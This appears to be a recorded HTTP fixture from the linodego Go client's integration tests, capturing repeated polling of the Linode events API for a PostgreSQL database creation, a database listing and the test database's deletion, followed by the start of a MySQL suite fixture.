Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:16:43 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:16:58 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:17:14 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:17:29 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:17:43 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:17:58 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:18:14 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:18:28 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:18:43 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:18:58 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:19:13 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:19:28 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:19:43 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:19:58 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:20:13 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": null, "rate": null, "duration": 902, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "finished", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "474" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:20:28 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/instances?page=1 method: GET response: body: '{"data": [{"allow_list": ["192.0.1.0/24", "203.0.113.1/32"], "cluster_size": 3, "created": "2018-01-02T03:04:05", "encrypted": true, "engine": "postgresql", "hosts": {"primary": "a210749-akamai-prod-5782758-default.g2a.akamaidb.net", "standby": "replica-a210749-akamai-prod-5782758-default.g2a.akamaidb.net"}, "id": 210749, "label": "go-postgres-testing-defeb13v51qwn77", "members": {"172.104.206.57": "primary", "172.104.206.67": "failover", "172.104.206.76": "failover"}, "oldest_restore_time": "2018-01-02T03:04:05", "port": 18319, "region": "ap-west", "ssl_connection": true, "status": "active", "total_disk_size_gb": 9, "type": "g6-nanode-1", "updated": "2018-01-02T03:04:05", "updates": {"day_of_week": 6, "duration": 4, "frequency": "weekly", "hour_of_day": 14, "pending": []}, "used_disk_size_gb": 0, "version": "14.15", "platform": "rdbms-default"}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:20:30 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/210749 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:20:48 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestDatabase_MySQL_Suite.yaml000066400000000000000000007617101474652371000322260ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": 